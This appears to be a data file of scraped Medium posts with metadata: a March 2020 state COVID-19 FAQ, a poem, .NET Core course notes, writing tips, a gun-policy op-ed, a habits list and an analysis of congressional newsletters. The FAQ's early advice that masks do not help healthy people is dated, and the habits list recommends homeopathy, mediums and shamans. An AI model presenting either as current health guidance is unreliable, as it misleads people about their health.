We have guidance for what you would need to do if you got COVID-19 on our website. You would need to stay home except to get medical care and stay away from people as much as possible. Maybe you’ll try out grocery delivery services. You would need to stay home for 7 days OR until 72 hours after your fever is gone and the symptoms get better, whichever is longer. You’ll only need a regular amount of toilet paper.
When you say “fever,” what exactly do you mean?
We mean a body temperature over 100.4 degrees F. If you have a fever, stay home and away from people.
I saw on social media that there’s a vaccine! Is that true?
Don’t believe everything you see on the internet! There is no vaccine or specific treatment for COVID-19. Anyone who tells you otherwise is trying to scam you.
I run a large event, should I cancel it?
If you are planning on holding a large event that involves people who may be at high risk of severe illness, like people over age 60 or who have chronic diseases like diabetes or asthma, and this event is not an essential part of your business, it is reasonable to consider cancelling or rescheduling this event. If you are not running the event, but were planning to attend, and you don’t feel good, please stay home. (Thanks, Emerald City Comic Con, for rescheduling to protect our health!)
Should I wear a mask?
If you are healthy, wearing a mask around town will not help protect you from COVID-19. Masks are for people who have coughs. We give them out at doctor’s offices because that’s where people with coughs might go. Otherwise, if you have a cough and a fever, you should be home, where you do not need to wear a mask.
Should I take some masks from my health care provider?
Definitely not! Did you know we have a world-wide shortage of masks? Please reserve them for the people who need them most — people who are sick and the health care providers who spend all day in close contact with sick people!
Don’t more people die of the flu than COVID-19?
So far, yes. But washing your hands, covering your cough, and staying at home when you are sick help prevent spread of COVID-19 AND the flu. (And other coughs, colds and generic winter crud too!)
Daily update on COVID-19 case numbers
Our Department of Health COVID-19 webpage is updated daily with the number of people confirmed to have positive cases and the number of people who have died of COVID-19 in Washington state. As of this writing, 136 people in Washington have tested positive for COVID-19, and 18 have died of the disease. We are very likely to see more people with COVID-19 identified in the coming days.
Get and spread reliable information on COVID-19
This blog update is current as of the day it is posted, but information changes rapidly. Please check our website for the most up-to-date info on Washington’s response to COVID-19 at www.doh.wa.gov/coronavirus.
Fight stigma, public panic, and misinformation by getting your information from trusted sources. Listen to guidance from the World Health Organization, the U.S. Centers for Disease Control, and your local health department.
Contact us
If you have questions or concerns about COVID-19 in Washington state, start by visiting our website. Public can contact our call center 6 a.m. to 10 p.m., seven days a week, at 1–800–525–0127. | https://medium.com/wadepthealth/frequently-asked-questions-about-covid-19-march-8-2020-5b71232941dc | ['Washington State Department Of Health'] | 2020-03-08 21:10:26.587000+00:00 | ['Co Vid 19', 'Covid', 'Coronavirus'] |
Silence on the ocean | “I heard silence, silence infinite as the bottom of the ocean, a silence that sealed.” — Anne Spollen
You already know what your calling is. You follow your heart. You hear the call. Your creativity is waking up. It was in a dream for a long time. It doesn’t matter.
You act. You write. Like you are crazy. You engage. People notice changes in your life. They recognize your talents. You create. There are people who support you. They show interest. They praise. They comment.
It is happening. Not much. But it is happening. You truly live and express yourself. You think: well, finally the world is favorable for me.
You have found a personal legend. You follow it’s track. You are afraid but it doesn’t stop you.
Now, you are expecting that everything will escalate.You will intensify the creative activity.The world will intensify it’s help to make your legend come true. You feel that the breakthrough will happen in a moment. In a moment.
And it is coming ….
S I L E N C E
Total silence on your ocean. The wind stopped blowing suddenly when you are sailing on the ocean. Wind is necessary like water. You already know what ports you want to visit. But without wind it will not work.
You are stricken by the silence of the ocean.
This is not the calm before the storm.
This is dead silence.
The waves are disappearing in a hurry.
The surface of the ocean is smoothed.
The ocean now has such a face that every woman of a certain age could envy.
But the ocean dies without a wind.
These sails that carried your boat on the ocean, these sails strained to the limit, which allowed you to achieve dizzying speeds and use all your potential, these sails have completely stopped moving.
They hung helplessly on the masts.
Your sailing boat has stopped. Without notice. It has been just frozen in motion.
As long as the wind does not start blowing again, you will not leave this place.
You check fresh water supplies. Such a paradox that you can die of thirst surrounded by the immeasurable amount of water.
What to do?- you ask.
It is hard. You feel helplessness. You can fight with the storm. Adrenaline is jumping. You can struggle with the element. But how to deal with silence? You really don’t know.
Certainly you have to learn to wait. Some consoled themselves that the lack of wind is better than the opposite wind.
Undoubtedly, you must give in to this adversity. However, this is adversity.
You want to go on but can’t. You want to reach the port, but even if the fate change you will have a delay. You want to act but have to wait.
So you have to become observer of the weather.
You must become sensitive to every slight change. You don’t know what will happen in a moment.
Maybe the seemingly clear sky foretells many days without moving.
Maybe the seemingly clear sky foretells the oncoming violent storm.
But maybe when the wind comes again, you will find ourselves in much calmer waters.
You just have to survive this damned silence. | https://medium.com/words-on-a-swing/silence-on-the-ocean-8a82d0685a10 | ['Magdalena Ciniewska'] | 2018-07-18 11:00:55.098000+00:00 | ['Gifts', 'Silence', 'Poetry', 'Storytelling', 'Life'] |
Day01 20191201 ASP․NET Core 3 開發實戰：從入門到進階 (台北) | .NET Core 新手上路
🔨練習:用 .NET Core CLI 建立 .NET Core主控台專案
先建立並進入一個空白資料夾
mkdir solution1
cd solution1
dotnet new -l 列出可以建立的專案清單
列出可以建立的專案清單 dotnet new console -o console1 -o:輸出到資料夾
-o:輸出到資料夾 cd console1
編輯 Program.cs
查看 console1.csproj
dotnet restore
dotnet build 建置.NET Core 應用程式
建置.NET Core 應用程式 dotnet run 從專案目錄直接執行應用程式(會自動建置)
從專案目錄直接執行應用程式(會自動建置) dotnet clean 清除建置時所輸出的相關檔案
清除建置時所輸出的相關檔案 dotnet publish -c Release 發行.NET Core 應用程式
發行.NET Core 應用程式 dotnet bin\Release
etcoreapp3.0\console1.dll
Release出現的檔案中裡面的.exe檔案 其實只是執行
dotnet console1.dll
🔨練習:用 .NET Core CLI 建立 .NET Standard專案
cd.. (回到Solution1資料夾) dotnet new classlib -o classlib1 -f netcoreapp2.2 如果沒加 -f netcoreapp2.2 默認是2.0 cd classlib1 編輯Class1.cs 任意原始碼(請新增一個Go()方法並回傳字串) 查看classlib1.csproj(請注意TargetFramework 屬性) dotnet bulid dotnet build -c Release dotnet msbuild /p:Configuration=Release dotnet clean dotnet pack 打包Nutget套件 dotnet publish dotnet publish -c Release dotnet msbuild /t:Publish /p:Configuration=Release
🔨練習:用 .NET Core CLI 建立 .NET Core單元測試
cd.. (回到solution1資料夾) dotnet new mstest -n classlib1.test cd classlib1.test dotnet add reference ..\classlib1\classlib1.csproj 編輯UnitTest1.cs單元測試檔 查看classlib1.test.csproj(請注意 TargetFramework 屬性) dotnet test -t (列出專案中所有測試案例) dotnet test (執行測試) dotnet build dotnet vstest bin\Debug
etcoreapp3.0\classlib1.test.dll
.NET Standard
.NET Framework 微軟已經沒再更新了
選擇 .NET Standard 版本時，您應該考量下列取捨：
版本越新，可供您使用的 API 就越多。
版本越舊，可實作它的平台就越多。
版本規則
新版本的API 只增不減( Additive )
舊版本的API 絕不改變( Immutable)
多目標架構(Multi-TargetFrameworks)
可以讓一份sorce code 產生多版本的dll檔案
官方資料
作法：
TargetFramework=>TargetFrameworks
以分號隔開版本
使用 Visual Studio 2019 只需要在專案上點兩下就可直接編輯 .csproj 專案檔。
設定完成後，Visual Studio 2019 會提示必須重新 Reload 所有專案、這時點選 Yes 即可。
這時再重新編譯會發現，成功編譯了！
這時候在進入relase資料夾底下可以看到產生兩個資料夾
🔨練習: 將 net standard專案支援多版本
請參考附件連結
TargetFramework => TargetFrameworks
=> 以分號隔開版本
dotnet pack solution1.sln
用zip開啟 .nupkg 可看到兩個版本
🔨練習: 將 .net framework 4.6.1 專案升級為 .net standard 2.0
升級專案的簡單幾個步驟：
建立兩個新專案 將CsProject以外的所有檔案Copy到新專案裡面去 修改套件版本
單元測試比較麻煩一些，package.JSON定義了nuget裡面安裝了哪些package
所以需要比較一下，這些套件再剛剛單元測試裡面有沒有出現，如果沒有出現，就需要自己想辦法加進去
建立新專案 將csproj,appconfig,obj 資料夾,bin 資料夾以外的檔案搬過去 (特別注意 Properties/AssemblyInfo.cs )
3. 修正套件版本(單元測試專案有package.config)
📓保哥技術分享
設定讓 Visual Studio Code 開啟 *.csproj 的時候，自動切換到 MSBuild 語言模式，請參考一下 VSCode 設定值：
"files.associations": {
"*.csproj": "msbuild"
},
按下 Ctrl+, 就可以開啟設定視窗
📓保哥技術分享
你只要在 Visual Studio Code 中使用滑鼠右鍵點選 *.csproj 檔案，就可以直接 建置 (Build)、執行 (Run) 或 **執行測試 **(Tests) 👍
vs code 常使用的快速鍵
ctrl + shift + b 可以直接build
+ + 可以直接build ctrl + space 可以跳出提示，但要修正輸入法
+ 可以跳出提示，但要修正輸入法 ctrl + ,
+ ctrl + .
+ 容易被新注音輸入法吃掉建議修改以下設定Windows 8 小技巧: 繁體中文語言如何變更預設輸入法(英文) | The Will Will Web
.Net Core 應用程式部署方法
.net core 真正的主程式是.dll檔，產生的exe 裡面其實只是在執行.dll檔
Framework 相依部署 (FDD) => .net core 2.2以前預設
dotnet publish -c Release -p:UseAppHost=false
Framework 相依可執行檔 (FDE)
dotnet publish -c Release -r <RID> --no-self-contained
自封式部署 (SCD)
適合電腦環境不是自己能控制的地方
-r = runtimes的意思
可以針對，特定作業系統產生runtimes所需要的dll檔
缺點：檔案太大
優點：不用再安裝.net core平台
可以透過dotnet — info 查RID
一般只需要記得最常用的三個
win-x64 linux-x64 osx-x64
樹梅派 可以跑 .net core 不過速度很慢
dotnet publish -c Release -r <RID> --self-contained
dotnet publish -c Release -r <RID> -p:PublishSingleFile=true
dotnet publish -c Release -r <RID> -p:PublishTrimmed=true -PublishTrimmed=true 會幫你把沒用到的code移除掉 可以減少檔案大小
-PublishSingleFile 幫你壓縮成一個檔案
- -p:PublishSingleFile=true執行的時候，會自動解壓縮到特定目錄
1.windows command line => %TMP%\.net\
2.windows powershell => $env:TMP\.net
3.linux => /var/tmp/.net/
4.osx => $TMPDIR.net
📓保哥技術分享
今天課程提到一個 .NET Core 發行的命令：
dotnet publish -c Release -r <RID> -p:PublishSingleFile=true
他會將 SCD 佈署的所有檔案壓縮成一支可執行檔，但執行的時候，會自動解壓縮到特定目錄，我特別找出這個目錄的位置 (如下)，如果以後硬碟不夠用的時候，可以從以下目錄找出這些暫存檔案，隨時可以安全的移除這個目錄下的所有檔案！
命令提示字元
%TMP%\.net\
Windows PowerShell
$env:TMP\.net
Linux bash (請同學幫忙驗證一下 macOS 的路徑)
/var/tmp/.net/
🔨練習不同的發布方法
注意類別庫專案不會產出exe…用self contained會跳錯
UNIT 1 • 練習實作進度回報
請先建立 ASP․NET Core MVC 專案
dotnet new mvc -n m1
cd m1
然後練習不同的 .NET Core 發行方法
dotnet publish -c Release -p:UseAppHost=false dotnet publish -c Release -r <RID> --no-self-contained dotnet publish -c Release -r <RID> --self-contained
dotnet publish -c Release -r <RID> -p:PublishSingleFile=true
dotnet publish -c Release -r <RID> -p:PublishTrimmed=true
Asp .Net Core開發實戰
可以裝載 .NET CORE的執行環境
Kestrel: .NET CORE內建的高速伺服器，雖然可以直接開PORT對外，但微軟不建議這樣做，通常還是會再配合其他的(IIS/NGINX/APACHE…)
ASP.NET Core — Kestrel Web Server
.NetCore 可以透過 Kestrel直接對外連線
優點：執行速度特別快 (但是官方不建議這麼使用)
缺點：沒有任何保護，可能會有安全性的弱點
參數化的方式可以避免sql injection,不可用組字串的方式
asp .net core 包含哪些東西
SignalR(簡單來說是一個即時連線的應用程式)：實作了四種不同的通訊協定（包含 Web Socket），只要與伺服器建立連線後，使用者便不太需要擔心斷線重連的問題；另外因實作多種通訊協定，IE即使不支援Web Socket也能自行換一種通訊協定連線。
適合應用的情境：聊天室、即時的報表監控、客服系統
官方有做壓測過可以百萬人連線
Blazor：一種基於WSS的框架，可以使用C#做到類似JavaScript的效果。傳統的WebForm或MVC會傳整個View回來client端，但Blazor只會傳最少量的東西(通常是有變動的值和畫面)回來client端，這意味著Blazor的效能較佳。曾有實驗壓測速度能支援 1 核心到 2 萬人連線。
利用WebAssembly的技術讓c#的dll檔直接跑在瀏覽器上，想要做到離線會有機會用到
BlazorService 會用WebSocket 切換頁面時事實上是在service端把結果算好，再傳送至前端
📓保哥技術分享
如果想在 Windows PowerShell 或 Bash/Zsh 環境下使用命令列自動完成，請參考這篇文章進行設定喔！ 👍
#macOS也能用命令列自動完成
參考資料
ASP.NET Core 3 開發實戰：從入門到進階 (第一天學習評量測驗) | https://medium.com/@as880074/day01-20191201-asp-net-core-3-%E9%96%8B%E7%99%BC%E5%AF%A6%E6%88%B0-%E5%BE%9E%E5%85%A5%E9%96%80%E5%88%B0%E9%80%B2%E9%9A%8E-%E5%8F%B0%E5%8C%97-377a1a4a3752 | ['Nick Chi'] | 2019-12-01 00:00:00 | ['Dotnet', 'Dotnet Core'] |
“The Power of Music” | Meet Google Drive - One place for all your files
Google Drive is a free way to keep your files backed up and easy to reach from any phone, tablet, or computer. Start… | https://medium.com/@jta600/the-power-of-music-7fbb75836758 | ['Jenson Alves'] | 2020-12-10 16:00:56.516000+00:00 | ['Power', 'Kresge College', 'Music', 'Representation'] |
Postgresql functions as backend (p.2: REST API) | or “How did we got rid of Django and 3-tier in general and how going back is a huge leap forward”
Previous episode
So you decided to give it a shot? Welcome to 2000, you will like it. First things first: there’s no framework to hold your hand. Required self-discipline closely resembles Shaolin monks. On the bright side — your performance will too.
Some companies operate for 20 years, stuck with monolithic SQL beast that nobody can maintain.
From where Im standing — this beast is working unmaintained after quarter of the century. Matter of the perspective.
Rest is really human problem. I cant stress this one enough: human problem
Im not saying my way is correct. Im pretty sure there’s a lot to improve.
So you might want to start from establishing the REST API.
First you need PostgREST, so I wish you nice day or two and see you later ;) Do it correctly — thats your API !
Upon finishing installation external applications can start using your database without any drivers etc. I suggest you rev-proxy it via nginx, if this is public | https://medium.com/@gnuhost/stored-procedures-as-backend-p-2-rest-api-a3522f50cae2 | ['Oleg Zech'] | 2021-01-05 09:31:18.598000+00:00 | ['Postgresql'] |
5 Ways How Writing Can Recharge Your Soul | We Write
Most of us write to some degree at varying stages of our lives. From early childhood scribbles, throughout our academic journey before applying our evolving skills in our chosen profession or as a hobby.
Writing is a tool that humankind uses to communicate, educate, learn and create.
The vast majority of us write as a function, a task relevant to our stage in life. At university, we write to study or prepare a paper. At work, we do so to compile a report, draft an email or just make notes. For some, it's simply a pastime, for others, a profession.
This piece is not about the function of writing. Rather it's about the flow of writing from the soul with tips to nurture the inner passion that every writer knows, sometimes motionless and still, with periodic eruptions of creative bliss.
Writing can recharge our soul when we adopt 5 simple rules for creativity.
Rule №1 — Capture and record your ideas
We all have plenty of ideas every single day. Think about it, how often do you have ideas? From experience, we have them much more often than we think.
Ideas are born out of fleeting thoughts that blindside us on a random Tuesday.
A lot of my ideas are terrible, at least initially. Then at random moments, another idea springs to mind, making a terrible idea that more appealing.
In the past, my ideas were forgotten, swept away by the wind of my mind. I dismissed them without a second thought. The reality is that my subconscious mind was trying to tell me something.
That's the nature of ideas, they arrive without warning. They have a tendency to crop up when we least expect it. This creative-inconvenience is something that most great writers are prepared for. They’ve learned to capture these intuitive gifts as soon as they appear.
“Art is when you hear a knocking from your soul — and you answer.” — Terri Guillemets
Today I record my ideas, using one of the five tools below depending on when and where an idea manifests:
How to apply — There’s an abundance of choices out there for writers to harvest the fruits of our wonderful minds, so here are 5:
A notepad — Good old pen and paper is one of the best ways to capture our ideas. It’s easy to do plus you never lose battery power. In the digital age, there’s something magical about writing notes on paper, igniting kinetic energy of mind and body An App — Recording notes on your smartphone is convenient when you can’t or don’t want to look for a pen and paper. There are loads of apps out there, so pick your favourite. I’d recommend Evernote or the notes app installed for free on your phone Voice — Use your phone voice recorder, or a dictaphone to speak your ideas out loud Phone — The free notes app installed on your phone is an alternative to Apps like Onenote or Evernote Share — If you’re in the company of others, sharing your thoughts at the moment they arrive is a great way to refine your idea
Rule №2 — Self-expression
Writing is an art form, an expression of self. It's a magical channel at our fingertips. Self-expression is the act of giving life to our thoughts, ideas and emotions.
Writing funnels our ideas and feelings for deeper exploration through articles, abstract prose, poetry or personal notes. Writing is a great way to delve into the inner workings of our mind, supported by our body and soul.
“I write entirely to find out what I’m thinking, what I’m looking at, what I see and what it means. What I want and what I fear.” ― Joan Didion
How to apply — Never hold back. Any piece that you write is self-expressive. If you write to share with others remember to edit, cleaning out the fluff for publication. If your expression is private, write anyway, you can always delete, bin it or burn it afterwards.
Have the courage to let your truthful words flow from the heart. Being open and free to express yourself by writing is a cathartic experience, a very healthy endeavour indeed.
Rule №3 — Creative flow
Creativity can ebb and flow. When creativity flows it’s like a river as inspiring ideas come rushing in wave after wave. Our energetic peak is prolonged as we stay awake into the early hours of the morning under the spell of deep thought. It’s a magical feeling.
Then without warning — Bam — we crash. The magic vanishes.
What just happened? Even our desire, our enthusiasm to write no longer burns inside. Tiny efforts to reignite that spark feels like “trying to solve an algebra equation by chewing bubblegum.”
A sense of loss consumes us as we question our creative ability. Maybe I’ll never have another great idea ever again?
How to apply — Chill out. This is the ebb of creativity, so perfectly normal, I assure you. No one feels the flow of creativity all the time. Like anything in life, creativity is no different than a boat on the high seas, navigating a succession of waves with plenty of ups and downs.
Accept that you can never feel inspired all the time. Likewise, a crash won't last forever either. So rather than resisting the loss of that high, by trying to force it to happen again while you fret over the impending crash, stop, relax, and breath to let your flow unfurl.
Learn to embrace the lows of your creative ebb today to surf the flow of ambiguity tomorrow.
A constant high is a one way street to burnout. So learn to take a break. Use this time to recharge for the next wave of flow that will arrive. Downtime is a necessity for writers to nourish the soul. So be kind to yourself when you’re in an ebb-state, let the momentum unfold naturally.
Rule №4 — Write from the heart to open your mind
We all write articles that are … how do I put this? … dull. Uninspiring. Boring even. Devoid of personality. Pieces that lack spirit.
There's no need to panic. Every writer is guilty of this. I do it all the time. It can take years to perfect a writing style that connects consistently with our readers. I’m still learning how to make my writing more engaging.
Writing is a never-ending journey of discovery as we learn new ways of expressing our creative ideas. Few writers are the ‘finished article’. It’s an ongoing process, so be patient. To fine-tune your writing skill you need to be comfortable with the uncomfortable ebbs and flows of creativity.
“Find a subject you care about and which you in your heart feel others should care about. It is this genuine caring, not your games with language, which will be the most compelling and seductive element in your style.” — Stephen King
How to apply — It takes work to master the ability to create heartfelt and meaningful writing. It takes commitment to your art. Like any mastery, such as musicians or athletes, it can take years to develop world-class skills. So invest time in your writing.
Every writer has the ability to improve their emotive expression. What I’ve learned from other writers is that there are 3 laws to this, sub-rules that enhance our ability to create inspirational writings. Here they are:
Write with passion from the heart Make sure it’s relevant to your target audience Convey emotion through your words using emotive-words
It’s no secret that writing from the heart opens the doorway to our soul. So listen to your heart.
№5 — Connect the dots
As we know creativity does not announce itself at predefined moments. It never-ever books an appointment. It only makes itself known through random ideas that spring out of nowhere.
To harness the creative potential that random ideas hold, writers learn to apply two types of thinking:
Convergent thinking— This is the ability to combine multiple thoughts, often very different ideas that we connect in our minds to form something completely unique. Divergent thinking — This involves cultivating multiple ideas to form a selection of potential solutions for a single idea.
“Creativity is just connecting things. When you ask creative people how they did something, they feel a little guilty because they didn’t really do it, they just saw something. It seemed obvious to them after a while.” — Steve Jobs
How to apply — Writing is word-innovation. A potential invention that’s incubated in the soul.
Some of what we write can be dull, but over time we can learn to apply ways of thinking to raise our game and deliver a piece of work that evokes abstract thought in our readers. The best way to do this is to keep writing, even when you’re in the midst of an ebb.
As Steve Jobs said, “Creativity is just connecting things”, connecting the dots to form something new or unique to share with the world. | https://medium.com/illumination-curated/5-ways-how-writing-can-recharge-your-soul-a70420aa11b2 | ['Paul Myers Mba'] | 2020-12-11 15:29:32.392000+00:00 | ['Writing Life', 'Entrepreneurship', 'Writing', 'Self Improvement', 'Writing Tips'] |
Renew The Federal Assault Weapons Ban. It’s Time. | Here we are, headed toward yet another familiar but depressing historical milestone — the thirty-first anniversary of the Cleveland Elementary School shooting in Stockton, California.
We’ve of course become accustomed, but no less sickened, to the regularity of school shootings and the subsequent abject failure of politicians, predominantly those of the GOP, to take any real action to stop such madness inevitably repeating itself. However, the Cleveland Elementary School shooting, as dreadful as it was, actually spurred meaningful action, leading to the eventual implementation of the ten-year time-limited 1994 Federal Assault Weapons Ban.
Patrick Purdy, the assailant in this particular tragedy, was a maladjusted drifter who had a long history of mental health, drug and alcohol issues. On the morning of January 17th 1989, Purdy took it upon himself to attack the Cleveland Elementary School. In doing so, Purdy killed five (immigrant) children and wounded another 30, before ending his life by turning one of his guns on himself.
Purdy was able to easily buy a Chinese made / imported AK-47 semi-automatic rifle for use in his massacre. In the aftermath of the tragedy, the administration of then Republican President George H.W. Bush implemented a ban on the importation of all semi-automatic weapons into the United States. Five years later, Democratic president Bill Clinton signed into law the Federal Assault Weapons Ban. While that legislation only had a finite ten-year life-span, it was highly significant as it essentially meant a wholesale ban on the manufacture and sale of semi-automatic rifles to civilians.
What times were those then? Bush effected the assault weapon importation ban within two months of Purdy’s murderous actions. Yep, a mere two months. And of course, Bush was one of those now quaint Republicans that you can read about in a history book — a pragmatist free of slavish devotion to both the NRA and the cult of Donald Trump.
It seems like another universe, let alone a few decades ago, when a school shooting would actually lead to substantive common-sense gun reform legislation being enacted in the United States. Sure, there was partisan divide then as there is now. But it was a divide and not the Grand Canyon sized chasm it is now. At some point between then and now, the GOP didn’t just lose its way when it comes to gun violence prevention. It threw out the compass, asked to be blindfolded and took the hand (and money) of the NRA and the likes of Mitch McConnell and Donald Trump to lead them forward past each increasingly tragic and blood-soaked incident.
The idea that everyone having access to highly destructive weapons of war will somehow make us safer is simply nonsense. Consider this. The United States has long been in the vanguard of nations trying to prevent the spread of highly destructive nuclear weapons to other countries because of the obvious yet chilling reality that not every country is safe to have such devastating power. Like-wise the same applies to individuals — not everyone is going to be a responsible gun owner, particularly so when it comes to the likes of highly deadly killing machines like assault weapons.
Since the end of the Federal Assault Weapons Ban in 2004, there have been literally hundreds of mass shootings and just as many injuries and fatalities as a result of those. And semi-automatic weapons have more often than not been the preferred choice of the perpetrators of many of those shootings.
It is then way beyond time for the Federal Assault Weapons Ban to be revisited. Despite gun laws becoming ever more lax since 2004, the slaughter has continued unabated. Clearly, more guns are simply making us less safe. And in this case, “us” all too often means our schools, churches, theaters, nightclubs and concerts. Assault weapons are just that — weapons of assault. While they offer no meaningful protection against anything, they do, conversely, offer those with unwell minds and sinister purpose a very effective way of gunning down the innocent as quickly as possible before law enforcement can even fire up the sirens.
It is a question that simply needs an actual answer and not just more head-in-the-sand same from the vast majority of today’s GOP — just how many more preventable mass shooting and school massacre deaths will it take before something of substance is actually done?
School shootings are a tragic feature of American exceptionalism. No other advanced Western country comes anywhere close to this level of frequent, repeat tragedy. It really does not have to be this way. The will to do something was there in 1994. The same absolutely needs to be done again today without further delay. | https://medium.com/quinlan-and-co/renew-the-federal-assault-weapons-ban-its-time-6ba5db7fb9dd | ['Sean Quinlan'] | 2020-01-14 19:02:51.594000+00:00 | ['Safety', 'Politics', 'Guns', 'Moms'] |
31 Minimalist Habits Everyone Loves | Photo by Sarah Dorweiler on Unsplash
Be honest about your bedtime
2.Avoid setting alarms
3.Make a habit of waking early to begin your day
4.Avoid watching TV until you are done with work
5.Wake up at a consistent time every day
6.Adjust your activity level to the time of day
7.Don’t sleep on the couch
8.Get moving first thing every day (walking, running, yoga, etc.)
Photo by Carl Barcelo on Unsplash
9.Put your phone away at a designated time in the evening
10.Turn off all screens at least 30 minutes before bedtime
11. Try sleep hygiene
Put your phone away at a designated time
Lay off the alcohol and caffeine
Make a habit of bedtime routines like bathing
12. Keep a garden
Be more proactive
Make a habit of stepping outside
Think about making your health and wellbeing your primary focus
Photo by Mike Benna on Unsplash
13. Prioritize your health
Make a habit of making time for exercise
Make a habit of eating healthy
Consider making your health and wellbeing your primary focus
Try to avoid taking a nap
14. Practice gratitude
Bring positive things into your life
Wake up and do something productive
Attempt to find at least one thing that makes you feel better about yourself
Don’t be fooled into thinking that “this time it’s going to be different”
Photo by Jackson David on Unsplash
15. Don’t wait to exercise
Make a habit of exercising
Make a habit of waking early to exercise
16. Meditate daily
Start a daily meditation practice
Consider developing a daily gratitude practice
Try and make at least five minutes of quiet time in your day
You can make meditation part of your daily life
17. Meditate and exercise daily
Make a habit of meditating every day
Make a habit of exercising every day
18. Avoid screen time before bedtime
Don’t sleep with your phone
19. Practice gratitude
Stay mindful
Keep a journal of your everyday experiences
Photo by Lesly Juarez on Unsplash
20. Make sure you’re not catching up on “news” online
Make a habit of only reading the news from reliable sources
21. Don’t feel pressured to do everything
Find things that are important to you
Don’t feel like you should be at every social function
23. Break the cycle of procrastination
Strive to be organized
Make a habit of planning and prioritizing activities
23. Change your mindset
Accept that you can’t do it all
Keep a gratitude journal
Consider developing a gratitude practice
24. Listen to your body
Follow the sleep rules above
Don’t nap
24. Get help with things you need to learn
Ask someone who can help you
Become more knowledgeable
25. Keep organized
Take time to keep your life organized
Make a habit of getting organized
Make a habit of organizing paperwork
Make a habit of updating your plan sheets
Photo by Soragrit Wongsa on Unsplash
26. Consider homeopathic alternatives
Seek out homeopathic and natural health practitioners
Try acupuncture
Use a medium to help with intuition
Consider going to a shaman
Go to a yoga or tai chi class
27. Practice gratitude
Accepting things you are grateful for doesn’t always come easy
Let’s not always think in terms of the negatives
Think in terms of what you have, not what you don’t have
28. Don’t let fear hold you back
Try to overcome your fears
Talk about your fears to people who can help you
29. Adopt a healthy lifestyle
Keep a fresh perspective and think about your life in terms of “I” instead of “We”
Commit to making healthy lifestyle changes
Make a habit of walking, running, or other physical activity daily
Make a habit of eating healthy foods
Make a habit of eating less fast food
30. Don’t live for today
Find happiness within your everyday life
Keep a gratitude journal and a gratitude practice
Write things down in a journal that make you happy
31. Question your beliefs
Don’t ignore things that bother you
Learn more about the various world views | https://medium.com/@abrarsimple/10-minimalist-habits-everyone-loves-c0fb80e52178 | ['Abrar Ahmed'] | 2020-12-10 07:50:36.520000+00:00 | ['Minimalism', 'People', 'Minimalist', 'Mindfulness', 'Happiness'] |
Becoming a farmer is not a job change | Becoming a farmer is not a job change
Instead of a learning a trade or obtaining a degree, you’re committing to a lifelong education.
You won’t have the opportunity to ask about “work-life balance” at a job interview — you gain perpetual work-life integration.
Paid time off is a gift from the seasons, and raises are a result of increased skilled and efficiency.
Progeny is your retirement plan. | https://perennial.city/becoming-a-farmer-is-not-a-job-change-1db15d93cbf | ['Timothy Kiefer'] | 2020-12-27 01:54:54.484000+00:00 | ['Daily Blog', 'Farming', 'Farm Life'] |
The Good Egg: Learning About Your Year | Click here to sign up for this daily newsletter!
Happy Thursday, Good Eggs! Today, we’re going to continue to talk about Step Two: “Reflections and Learnings” from “The Ultimate Annual Review” by Steve Schlafman.
Schlafman’s questions for reflecting on your year and learning about yourself are grouped into 5 categories: success and growth, falling short, people and relationships, health and wellness, lessons and themes.
These questions help you to evaluate the full picture of your year. What went well? What didn’t go well? What did you learn about yourself?
Through your answers, you discover your true priorities and your goals in life. If you want another look at the questions, check out yesterday’s newsletter.
Have fun!
-The Good Egg 🐣 | https://medium.com/@katherineripple/the-good-egg-learning-about-your-year-d4bf497e0314 | ['The Good Egg'] | 2020-12-24 12:24:02.629000+00:00 | ['Learning', 'New Year', 'New Years Resolutions', 'Reflections'] |
Democrats love Vox, Republicans love Fox | Partisan Echo Chambers
Democrats love Vox, Republicans love Fox
New data show the media diet of members of Congress
We’ve all heard that our media diet lives in an echo chamber, or that we only ever interact with stories that match our pre-existing dispositions to the world. Some people blame this one media outlets, other on individual sorting, and some see it as a predictable end to our fractured and specialized media/entertainment world. But what about politicians themselves, how to they contribute to this confirmatory news landscape?
Legislators spend a decent amount of their time trying to convince constituents that they are good at their jobs and well respected within the government. One way that legislators signal their abilities is by pushing constituents to content produced by differing media outlets. They will send reminders to constituents asking them to tune in to upcoming cable news broadcasts, alert them to positive coverage on media websites, and reproduce stories about them published in national newspapers.
From Rep James Comer’s July 24, 2020 e-newsletter “Fighting for Accountable, Reform-Minded Government”
But as we all know, this media environment is partisan. As PEW reports, democrats and republicans in the public use and trust different sources.
PEW results on media trust in the electorate
It comes as no surprise that FOX leads for conservatives, and over the past 10–15 years CNN has moved from a source considered in the middle, to one more preferred by the left. Democrats tend to trust a wider variety of sources, while Republicans have an overwhelming trust gap between FOX news and other outlets.
Looking at these major networks and cable producers, which are most advertised in congressional communications? Turning to the DCinbox database I checked to see who pushes what news sources and how this changes over time.
Over the past ten years, the most advertised outlets in official e-newsletters are FOX, CNN, NPR, and MSNBC. FOX is the clear leader, mostly due to GOP communications. While legislators do push to other forms of TV media, their total counts over the past decade are fall smaller, and do not exhibit any sort special attention in certain year, rather mentions are few and mostly flat across all years.
TV media advertised in official congressional e-newsletters 2010–2020
In order to visualize which legislators highlight different media in official e-newsletters and how this has changed over time, I use only the top outlets to track partisan references across each year since 2010. Like the trust gaps in viewers, there is a strong preference for FOX among republican members of Congress looking to push viewers to favorable content. This FOX bump has
existed since the start of the data and has one grown larger over time. Perhaps surprisingly to those who consider CNN more left wing or “lamesteam”, this outlet was the second most referenced in GOP e-newsletters for the past decade, and it was not until right around 2016 that Republican legislators began lambasting the outlet in e-newsletters, though that behavior is not universal. For Democrats pushing to TV news has always been a less frequent communication tactic. This may be due to the more differentiated media market for traditionally democratic audiences. However, there is one source that has grown in attention overtime, National Public Radio (NPR). After 2014 NPR has followed an upward, near linear trajectory for congressional Democrats.
As PEW and others have reported, this division extends to radio, newspaper and online media, with Republican media consumers preferring places like Breitbart, Rush Limbaugh, and Sean Hannity while Democratic consumers gravitate towards the New York Times, Washington Post, and the Huffington Post more than their conservative counterparts. In congressional communications the story is similar, but there are meaningful differences. The radio pundits Rush Limbaugh and Sean Hannity have plenty of followers in the general public, but are very rarely talked about in congressional e-newsletters. The following ten year totals by party show what non-TV media legislators use in official communications.
Of the major newspapers, the Wall Street Journal is most often referred to in Republican e-news, while the New York Times is most often used in those sent by Democrats. Though as established papers, a good number of members from both push information from these outlets to constituents. The Washington Post tends to have a more liberal readership skew and while more Democrats sent information from the paper, many Republicans did so as well. Republicans urged far more people to look at Washington Post stories than ones coming from the New York Times.
